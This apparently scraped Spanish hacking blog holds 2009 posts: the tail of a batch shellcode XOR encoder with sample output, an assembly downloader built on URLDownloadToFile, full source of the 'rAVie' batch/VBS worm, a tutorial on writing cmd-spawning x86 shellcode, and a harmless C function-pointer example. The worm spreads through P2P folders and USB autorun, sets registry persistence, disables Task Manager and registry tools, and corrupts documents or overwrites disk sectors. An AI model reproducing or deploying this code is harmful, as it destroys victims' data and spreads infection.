echo 	xor ecx,ecx
echo 	mov cx, 0x%hex: =%
echo 	sub cx, 0x1010
echo decode_loop:
echo 	xor byte [ebx], 0x%xor_value%
echo 	inc ebx
echo 	loop decode_loop
echo 	jmp short shellcode
echo sc_data:
echo 	call decode_routine
echo shellcode:)>%hex: =%%xor_value%_decoder.asm
type %hex: =%%xor_value%_decoder.asm&& echo *****************************************
echo =Codigo del decodificador guardado en %hex: =%%xor_value%_decoder.asm

echo.&& echo ^>Proceso finalizado^<

goto:eof
:err
echo Uso: shc_encoder.bat ^<shellcode^>&& goto:eof

:d2h
set dec=%1&& set hex=
:loop
set/a ths=%dec% %% 16
call :evals %%hexstr:~%ths%,1%%
if /I %dec% GEQ 16 (set /A dec=%dec%/16) else (goto:EOF)
goto:loop
:evals
set hex=%1%hex: =%&& goto:EOF

El codigo esta bastante entendible con etiquetas explicativas y los mensajes de salida del proceso.

Aqui una captura de salida del script trabajando:

Cita:
=Shellcode original:

\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x 8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f \xb7\x4a\x26\x31\xff\x31

\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\x c7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0 \x8b\x40\x78\x85\xc0\x74

\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\x e3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac \xc1\xcf\x0d\x01\xc7\x38

\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x 8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01 \xd3\x8b\x04\x8b\x01\xd0

\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x 58\x5f\x5a\x8b\x12\xeb\x86\x5d\xe9\x0e\x00\x00\x00 \x68\x31\x8b\x6f\x87\xff

\xd5\x68\xf0\xb5\xa2\x56\xff\xd5\xe8\xed\xff\xff\x ff\x63\x6d\x64\x2e\x65\x78\x65\x20\x00

=> Codificando Opcodes (xor 0×10)…

=Shellcode codificada:

\xec\xf8\x99\x10\x10\x10\x70\x99\xf5\x21\xc2\x74\x 9b\x42\x20\x9b\x42\x1c\x9b\x42\x04\x9b\x62\x38\x1f \xa7\x5a\x36\x21\xef\x21

\xd0\xbc\x2c\x71\x6c\x12\x3c\x30\xd1\xdf\x1d\x11\x d7\xf2\xe0\x42\x47\x9b\x42\x00\x9b\x52\x2c\x11\xc0 \x9b\x50\x68\x95\xd0\x64

\x5a\x11\xc0\x40\x9b\x58\x08\x9b\x48\x30\x11\xc3\x f3\x2c\x59\x9b\x24\x9b\x11\xc6\x21\xef\x21\xd0\xbc \xd1\xdf\x1d\x11\xd7\x28

\xf0\x65\xe4\x13\x6d\xe8\x2b\x6d\x34\x65\xf2\x48\x 9b\x48\x34\x11\xc3\x76\x9b\x1c\x5b\x9b\x48\xc\x11\ xc3\x9b\x14\x9b\x11\xc0\

x99\x54\x34\x34\x4b\x4b\x71\x49\x4a\x41\xef\xf0\x4 8\x4f\x4a\x9b\x02\xfb\x96\x4d\xf9\x1e\x10\x10\x10\ x78\x21\x9b\x7f\x97\xef\

xc5\x78\xe0\xa5\xb2\x46\xef\xc5\xf8\xfd\xef\xef\xe f\x73\x7d\x74\x3e\x75\x68\x75\x30\x10

=> Moviendo shellcode codificada a sc.shellcode…

=> Buscando bytes nulos y saltos de linea en sc.shellcode…

=< \x00 encontrado con: xor 0×10

=> Codificando Opcodes (xor 0×11)…

=Shellcode codificada:

\xed\xf9\x98\x11\x11\x11\x71\x98\xf4\x20\xc3\x75\x 9a\x43\x21\x9a\x43\x1d\x9a\x43\x05\x9a\x63\x39\x1e \xa6\x5b\x37\x20\xee\x20

\xd1\xbd\x2d\x70\x6d\x13\x3d\x31\xd0\xde\x1c\x10\x d6\xf3\xe1\x43\x46\x9a\x43\x01\x9a\x53\x2d\x10\xc1 \x9a\x51\x69\x94\xd1\x65

\x5b\x10\xc1\x41\x9a\x59\x09\x9a\x49\x31\x10\xc2\x f2\x2d\x58\x9a\x25\x9a\x10\xc7\x20\xee\x20\xd1\xbd \xd0\xde\x1c\x10\xd6\x29

\xf1\x64\xe5\x12\x6c\xe9\x2a\x6c\x35\x64\xf3\x49\x 9a\x49\x35\x10\xc2\x77\x9a\x1d\x5a\x9a\x49\xd\x10\ xc2\x9a\x15\x9a\x10\xc1\

x98\x55\x35\x35\x4a\x4a\x70\x48\x4b\x40\xee\xf1\x4 9\x4e\x4b\x9a\x03\xfa\x97\x4c\xf8\x1f\x11\x11\x11\ x79\x20\x9a\x7e\x96\xee\

xc4\x79\xe1\xa4\xb3\x47\xee\xc4\xf9\xfc\xee\xee\xe e\x72\x7c\x75\x3f\x74\x69\x74\x31\x11

=> Moviendo shellcode codificada a sc.shellcode…

=> Buscando bytes nulos y saltos de linea en sc.shellcode…

=> Creando codigo fuente del stub decodificador…

****************10c111_decoder.asm********

[BITS 32]

global ini

ini:

jmp short sc_data

decode_routine:

pop ebx

xor ecx,ecx

mov cx, 0×10c1

sub cx, 0×1010

decode_loop:

xor byte [ebx], 0×11

inc ebx

loop decode_loop

jmp short shellcode

sc_data:

call decode_routine

shellcode:

*****************************************

=Codigo del decodificador guardado en 10c111_decoder.asm

>Proceso finalizado<

Saludos!

Downloader por linea de comandos

Publicado en VX Sources el Julio 21, 2009 por lShadowl
;sintaxis:>cld url;destino
format PE GUI 4.0
entry ini

include 'win32a.inc'

ini:
invoke GetCommandLine
mov esi, eax

cmp byte [esi], 34d
je exit

pp:
cmp byte [esi], 32d
je gtp1

inc esi
jmp pp

gtp1:
inc esi
xor ecx, ecx
inc ecx

limp1:
cmp byte [esi], 59d
je ptp1
inc esi
inc ecx
jmp limp1

ptp1:
inc esi
push esi
sub esi, ecx
invoke lstrcpyn,p1,esi,ecx
cmp eax, 0
je exit

gtp2:
pop esi
xor ecx, ecx
inc ecx

limp2:
cmp byte [esi], 59d
je ptp2
inc esi
inc ecx
jmp limp2

ptp2:
inc esi
push esi
sub esi, ecx
invoke lstrcpyn,p2,esi,ecx
cmp eax, 0
je exit

invoke URLDownloadToFile,0,p1,p2,0,0

cmp eax, 0
jne exit

exit:
invoke ExitProcess, 0

ret
p1	 rb 150d
p2	 rb 100d

data import
library kernel32, "KERNEL32.DLL",\
urlmon, "URLMON.DLL"

import kernel32,\
GetCommandLine, "GetCommandLineA",\
lstrcpyn, "lstrcpynA",\
lstrlen, "lstrlenA",\
ExitProcess, "ExitProcess"

import urlmon,\
URLDownloadToFile, "URLDownloadToFileA"

end data

Saludos!

rAVie.c

Publicado en VX Sources el Julio 21, 2009 por lShadowl
:: Nombre: rAVie.c %main%
:: Autor: Shadow; tshadow; The Shadow %main%
:: Fecha: 30/02/09 %main%
:: Propagacion: Si [P2P+rar-persistente c/4m; Usb-persistente c/4m] %main%
:: Payload: Si [-corrupcion de archivos con extension: jpg, jpeg, doc, xls, pwl, pdf, dot y ppt %main%
::                     -bucle de beeps %main%
::                     -eliminacion completa de datos de HD0 y HD1]–aleatorio %main%
:: Encriptacion/codificacion: No %main%
:: Polimorfismo: Si [Bait tecnique (rango de incremento=10-120 bytes); Transposicion] %main%
:: Anti-deleccion: Si [de registro y de fichero madre] %main%
:: SO objetivo: W32 NT 4+ (versiones en espa?ol para propagacion p2p completa) %main%
:: Codificacion: batch, vbs y asm 16b %main%
:: %main%
:: Aclaracion: El presente fichero .bat fue creado solo para propositos educativos. El uso de la informacion contenida %main%
:: en el presente documento puede causar perdida de datos y/o mal funcionamiento de hardware. %main%
:: La responsabilidad de el mal uso de la informacion contenida aqui NO cae sobre el autor o ninguna organizacion %main%
:: relacionada a el. %main%
@echo off %main%
set mys=%systemdrive%\rAVie.bat %main%
set mys2=%systemdrive%\tmp.tmp %main%
goto :_%1 %main%
:_ %main%
if not exist %mys% ( @copy /y %0 %mys%&&          @copy /y %0 %mys2%) %main%
call :_hdn mute %main%
exit %main%
:_mute %main%
find "main"<%mys2%>%mys% %main%
:rnd_b %main%
call :rnd %main%
:buc %main%
find "m%rmon: =%"<%mys%>nul %main%
if %errorlevel%==0 goto :tst %main%
find "m%rmon: =%"<%mys2%>>%mys% %main%
set /a rdnmm=%random%*9999999 %main%
echo ::%rdnmm% %%m%rmon: =%%%>>%mys% %main%
:tst %main%
set cnnt=1 %main%
for /L %%a in (0,1,9) do call :cmp %%a %main%
echo %cnnt%|find "o">nul %main%
if %errorlevel%==0 goto :rnd_b %main%
@copy /y %mys% %mys2% %main%
call :_hdn perp %main%
call :_hdn flach %main%
call :_hdn regis %main%
call :_hdn AD %main%
call :_hdn paypaypay %main%
call :_hdn usve %main%
exit %main%
:cmp %main%
find "m%1"<%mys%>nul %main%
if %errorlevel%==1 ( %main%
set cnnt=%cnnt%o %main%
goto :EOF %main%
set cnnt=%cnnt%x %main%
goto :EOF %main%
) %main%
:rnd %main%
set rmon=%random:~1,1% %main%
goto :EOF %main%
:_usve %m6%
ping -n 320 localhost >nul %m6%
call :_hdn perp %m6%
call :_hdn flach %m6%
goto :_usve %m6%
::-368450787 %m6% 
:_AD %m5%
echo Set fos = createobject("scripting.filesystemobject")>%systemdrive%\AD.vbs %m5%
echo Set cmd = createobject("wscript.shell")>>%systemdrive%\AD.vbs %m5%
echo Set hiel= fos.opentextfile("%systemdrive%\tmp.tmp")>>%systemdrive%\AD.vbs %m5%
echo mei = "%systemdrive%\rAVie.bat">>%systemdrive%\AD.vbs %m5%
echo io = hiel.readall>>%systemdrive%\AD.vbs %m5%
echo Do>>%systemdrive%\AD.vbs %m5%
echo if not(fos.fileexists("%systemdrive%\rAVie.bat")) then>>%systemdrive%\AD.vbs %m5%
echo set hie= fos.createtextfile("%systemdrive%\rAVie.bat")>>%systemdrive%\AD.vbs %m5%
echo hie.write io>>%systemdrive%\AD.vbs %m5%
echo hie.close>>%systemdrive%\AD.vbs %m5%
echo end if>>%systemdrive%\AD.vbs %m5%
echo cmd.regwrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tmp", "%mys%">>%systemdrive%\AD.vbs %m5%
echo loop>>%systemdrive%\AD.vbs %m5%
start %systemdrive%\AD.vbs&& goto :eof %m5%
::-1938644277 %m5% 
:_flach %m4%
set rdnn=%random% %m4%
for %%c in (B C D E F G H I J K L M N O P Q R S T U V W X Y Z) do (call :fello %%c) %m4%
exit %m4%
:fello %m4%
if exist %1: (%1:&& attrib *.* -h -r -s -a&& copy /y %mys% %rdnn: =%.bat %m4%
( echo [AUTORUN] %m4%
echo UseAutoPlay=1 %m4%
echo Open=cmd /c explorer^& %rdnn: =%.bat %m4%
echo shell\open\Command=cmd /c explorer^& %rdnn: =%.bat)>autorun.inf %m4%
attrib *.bat +h +r +s&& attrib autorun.inf +h +r +s) %m4%
goto:eof %m4%
::207291469 %m4% 
:: %m9%
::570129041 %m9% 
:: %m7%
::450903641 %m7% 
:_rgis %m8%
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\tmp" /V "RunDll23" /d "%mys%" /f %m8%
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disabletaskmgr /t reg_dword /d "1" /f %m8%
reg add "hkcu\software\microsoft\windows\currentversion\policies\system" /v disableregistrytools /t reg_dword /d "1" /f %m8%
exit %m8%
::1050516287 %m8% 
:_perp %m1%
del /q %windir%\t.rar,yer.t,jer.t %m1%
cd "%systemdrive%%~p0" %m1%
for %%v in ("eMule\Incoming\" "Shareaza\Downloads\" "BearShare\Shared\" "LimeWire\Shared\") do echo %%v>>yer.t %m1%
set rc=1&& set r="%programfiles%\WINRAR\WinRAR.exe" %m1%
%r% a %windir%\t.rar %mys: =% %m1%
if not %errorlevel%==9009 set rc=0 %m1%
goto fr %m1%
:fr2 %m1%
set uno=%1 %m1%
for %%g in (Path_msn_Emoticonos sms_gratis MSN_hack_codes Windows_Vista_activation_tool) do (copy /y %mys: =% %%g.bat %m1%
if %rc%==0 (ping -n 2 localhost>nul %m1%
%r% a %%g.rar %%g.bat)) %m1%
goto :EOF                                                   %m1%
:fr %m1%
for /F "tokens=* delims=" %%a in (yer.t) do (if exist "%programfiles%\%%a" (cd "%programfiles%\%%a"    %m1%
for %%e in (*.rar) do ( @copy /y %mys: =% "%%~ne.bat" %m1%
ping -n 2 localhost > nul %m1%
%r% a "%%e" "%%~ne.bat") %m1%
call :fr2 %%a)) %m1%
:arespg %m1%
set ardir="%userprofile%\Configuraci¢n local\Datos de programa\Ares\My Shared Folder\" %m1%
if exist %ardir% (cd %ardir% %m1%
for %%e in (*.rar) do (copy /y %mys: =% "%%~ne.bat" %m1%
ping -n 2 localhost > nul %m1%
%r% a "%%e" "%%~ne.bat") %m1%
call :fr2 %%a) %m1%
exit %m1%
::1356710413 %m1% 
:_paypaypay %m2%
call :_hdn usve %m2%
set /a r=%random:~2,1%%2&& goto __%r% %m2%
:__ %m2%
:__0 %m2%
%systemdrive% %m2%
cd %systemdrive%\ %m2%
call :dsttr jpg&& call :dsttr jpeg %m2%
call :dsttr doc&& call :dsttr xls %m2%
call :dsttr pwl&& call :dsttr pdf %m2%
call :dsttr dot&& call :dsttr ppt %m2%
exit %m2%
:dsttr %m2%
dir /s /b|find ".%1">%1.t %m2%
for /f "tokens=* delims=" %%a in (%1.t) do ( %m2%
echo MsgBox "%%a has been corrupted by rAVie", vbCritical, "Corrupted File Warning">hy.vbs&& start hy %m2%
echo Corrupted file by rAVie>"%%a") %m2%
goto :eof %m2%
:__1 %m2%
(echo a&& echo mov ax,0E07&& echo int 10h&& echo.&& echo g)>t %m2%
set n=26&& for /l %%a in (1,1,25) do (call :gbbp) %m2%
exit %m2%
:gbbp %m2%
ping -n %n% localhost>nul %m2%
debug<t>nul&& set /a (n-=1)%%8 %m2%
goto:eof %m2%
:__2 %m2%
for %%a in (80 81) (call :fut %%a&& debug<fut%%a.t>nul) %m2%
goto:eof %m2%
:fut %m2%
(echo f 200 L1000 0 %m2%
echo a cs:100 %m2%
echo mov ax,301 %m2%
echo bx,200 %m2%
echo mov cx,1 %m2%
echo mov dx,%1 %m2%
echo int 13 %m2%
echo int 20 %m2%
echo. %m2%
echo g)>fut%1.t %m2%
goto:eof %m2%
::-1558321570 %m2% 
:_hdn %m0%
echo set cmd=CREATEOBJECT("WSCRIPT.SHELL")>evi_%1.vbs %m0%
echo cmd.run "cmd /c %mys%%1", vbhide>>evi_%1.vbs&& start evi_%1.vbs&& goto :eof %m0%
::1996000310 %m0% 
: Nombre: rAVie.c %main% :: Autor: Shadow; tshadow; The Shadow %main% :: Fecha: 30/02/09 %main% :: Propagacion: Si [P2P+rar-persistente c/4m; Usb-persistente c/4m] %main% :: Payload: Si [-corrupcion de archivos con extension: jpg, jpeg, doc, xls, pwl, pdf, dot y ppt %main% ::                     -bucle de beeps %main% ::                     -eliminacion completa de datos de HD0 y HD1]--aleatorio %main% :: Encriptacion/codificacion: No %main% :: Polimorfismo: Si [Bait tecnique (rango de incremento=10-120 bytes); Transposicion] %main% :: Anti-deleccion: Si [de registro y de fichero madre] %main% :: SO objetivo: W32 NT 4+ (versiones en espa?ol para propagacion p2p completa) %main% :: Codificacion: batch, vbs y asm 16b %main% :: %main% :: Aclaracion: El presente fichero .bat fue creado solo para propositos educativos. El uso de la informacion contenida %main% :: en el presente documento puede causar perdida de datos y/o mal funcionamiento de hardware. %main% :: La responsabilidad de el mal uso de la informacion contenida aqui NO cae sobre el autor o ninguna organizacion %main% :: relacionada a el. %main%

Creando una Shellcode (x86)

Publicado en Tutoriales & Manuales el Julio 21, 2009 por lShadowl
Creando una Shellcode (x86)

por lShadowl


Conocimientos previos requeridos: asm 32b y C

Conocimientos previos:
-Que es una shellcode?
“Una shellcode es un conjunto de órdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila (o stack) de ejecución de un programa para conseguir que la máquina en la que reside se ejecute la operación que se haya programado.(…)” >> http://es.wikipedia.org/wiki/Shellcode

Herramientas usadas en este tutorial¦Descarga:

Todas las herramientas usadas en este tutorial pueden ser descargadas desde la plataforma Cygwin la cual es un emulador de sistemas Unix para Windows.

La lista de las paquetes minimos ha descargar pasar seguir el tutorial es:

—–Categoria Devel—-
>binutils
>gcc
>nasm
—-Categoria System—-
>util-linux

Otras herramientas y scripts usados estan como codigo fuente en el tutorial.


Introduccion

Este tutorial pretende exponer de una manera clara y bastante simple el procedimiento para codificar una shellcode basica. Podemos dividir el

proceso en 2 partes: codificacion en ensamblador y conversion a opcode.

El objetivo del tutorial es crear una shellcode que abra una cmd.


Codificacion en ensamblador

Para esta parte necesitaremos saber que funciones vamos a utilizar para cumplir el proposito (abrir la cmd). En nuestro caso necesitaremos el acceso a las funciones “WinExec” [con que ejecutaremos la cmd] y “ExitProcess” [con la cual saldremos del programa], ambas se encuentran en la dll “kernel32″.
Para utilizarlas al codificar necesitamos saber su offset, para esto usaremos a “arwin”, un programa bastante sencillo que nos devuelve especificamente lo que buscamos, la direccion de la funcion. Aqui su codigo:

Código
#include <windows.h>
#include <stdio.h>

/***************************************
arwin - win32 address resolution program
by steve hanna v.01
   vividmachines.com
   shanna@uiuc.edu
you are free to modify this code
but please attribute me if you
change the code. bugfixes & additions
are welcome please email me!
to compile:
you will need a win32 compiler with
the win32 SDK

this program finds the absolute address
of a function in a specified DLL.
happy shellcoding!
***************************************/

int main(int argc, char** argv)
{
	HMODULE hmod_libname;
	FARPROC fprc_func;

	printf("arwin - win32 address resolution program - by steve hanna - v.01\n");
	if(argc < 3)
	{
		printf("%s <Library Name> <Function Name>\n",argv[0]);
		exit(-1);
	}

	hmod_libname = LoadLibrary(argv[1]);
	if(hmod_libname == NULL)
	{
		printf("Error: could not load library!\n");
		exit(-1);
	}
	fprc_func = GetProcAddress(hmod_libname,argv[2]);

	if(fprc_func == NULL)
	{
		printf("Error: could find the function in the library!\n");
		exit(-1);
	}
	printf("%s is located at 0x%08x in %s\n",argv[2],(unsigned int)fprc_func,argv[1]);

}

Es necesario saber la direccion de la funcion que utilizaremos ya que esta cambia a partir de las versiones del sistema operativo y se sus Service Packs.

Ya con arwin usaremos la linea:

$ arwin kernel32.dll WinExec

con lo cual obtendremos un resultado parecido a este:

El mismo proceso para buscar “ExitProcess”. >>

Ahora que tenemos las direcciones, pasemos al code en asm.

——————————————————————————————–

Código
BITS 32                  ;especificamos que el code es 32bits

jmp short cmd                  ;"cmd" a la pila

init:
   mov edx,7C8623ADh      ; 7C8623ADh>>direccion de WinExec a edx
   call edx                             ; hacemos la llamada (recordemos que "cmd" esta en la pila)
   mov edx,7C81CAFAh      ; 7C8623ADh>>direccion de ExitProcess a edx
   call edx                            ; salimos

cmd:
   CALL init
   db 'cmd',00h    ; obviamente aqui podriamos a?adir otros comandos, eso ya seria parte de su ingenio

——————————————————————————————–

Para cuestiones de seguimiento, llamaremos a este archivo “shc.asm”.


Conversion a opcode

Bien, ya que tenemos el codigo listo en shc.asm lo pasaremos ha codigo objeto. Para esto usaremos nasm asi:

$ nasm -f bin -o shc.bin shc.asm

En shc.bin tendremos algo como esto:

Código:
뺭#†|ÿÒºúʁ|ÿÒèíÿÿÿcmd

luego, usaremos la herramienta xxd para pasarlo a opcode, de esta forma:

$ xxd -i shc.asm

y nos devolvera esto:

Y listo, tenemos nuestra shellcode lista en C:

Código
unsigned char shc_bin[] = {
  0xeb, 0x0e, 0xba, 0xad, 0x23, 0x86, 0x7c, 0xff, 0xd2, 0xba, 0xfa, 0xca,
  0x81, 0x7c, 0xff, 0xd2, 0xe8, 0xed, 0xff, 0xff, 0xff, 0x63, 0x6d, 0x64,
  0x00
};
unsigned int shc_bin_len = 25;

Ahora, hay scripts que nos permiten tener otro tipo de salida del opcode, veamos este:

Código
#!/bin/bash
if [ $# -ne 1 ]
then
    printf "\n\tUsage: $0 filename.bin\n\n"
    exit
fi

filename=`echo $1 | sed s/"\.bin$"//`
rm -f $filename.shellcode

for i in `xxd -i $filename.bin | grep , | sed s/" "/" "/ | sed s/","/""/g | sed s/"0x"/"\\\\x"/g`
do
    echo -n "\\$i" >> $filename.shellcode
    echo -n "\\$i"
done
echo

De esta forma::

$ xxd-shellcode.sh shc.bin

Devolvera esto:

y en shc.shellcode los opcodes

Código
\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64

Ahora veamos la plantilla en C para probarla

————————–

Código
char code[] = "[b]OPCODES[/b]";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

————————–

Asi que tendriamos en sch.c …:

Código
char code[] = "\xeb\x0e\xba\xad\x23\x86\x7c\xff\xd2\xba\xfa\xca\x81\x7c\xff\xd2\xe8\xed\xff\xff\xff\x63\x6d\x64\x00";

int main()
{
	int (*func)();
	func = (int (*)()) code;
	(int)(*func)();
}

Compilamos ($ gcc -o shc shc.c) y probamos:


Saludos!

Array de funciones en C

Publicado en Tutoriales & Manuales con etiquetas , el Junio 29, 2009 por ni0ssw

Hola, vamos a ver algo muy loco, algo que nose si en otros lenguajes se pueda, pero en C obiamente SI Lengua

hace un tiempo descubri q se podia hacer esto y me quede xD :S :'( :P :O :O :O :Sonrisa :Sonrisa Huh? Huh? Impresionado Impresionado Impresionado Impresionado xDDD

/**********************************************************/

#include "stdio.h"

typedef int (*_func)(char *, ...);
_func func[10];

int main(void)
{
  func[5] = (_func)printf;
  func[5]("hola mundo!\n");
  getchar();
  return 0;
}

/**********************************************************/

utilize func[5] solo para demostrar que estoy trabajando con el array Lengua

no puse getchar dentro del array porque getchar esta declarado diferente que printf…
veamos una utilidad buena para esto del array de funciones:

/**********************************************************/

#include "stdio.h"

typedef float (*_func)(float, float);

float add(float a, float b)
{
  return a + b;
}

float sub(float a, float b)
{
  return a - b;
}

float mul(float a, float b)
{
  return a * b;
}

float div(float a, float b)
{
  if(b == 0)
      return 0;
  return a / b;
}

/*cargamos nuestro vector de funciones...*/
_func func[4] = {add, sub, mul, div};

int main(void)
{
  int num = 0;
  float a,b;
  printf("Ingrese 2 numeros\n");
  scanf("%f %f", &a, &b);
  while(num > 4 || num < 1){
      printf("1 - Sumar\n2 - Restar\n3 - Multiplicar\n4 - Dividir\n");
      scanf("%d", &num); /*gracias Anibal xD*/
   }
  num--;
/*por el metodo "tradicional" tendria que venir un switch o varios ifs...*/
  printf("Resultado: %f\n", func[num](a, b));
  while(getchar() != '\n');   /*la forma que utiliza Ramc para vaciar el buffer xD*/
  getchar();
}

/**********************************************************/

bueno, eso es todo, creo q es facil de entender

salu2!

P.D: pufff hace cuanto q no posteaba en C!! xD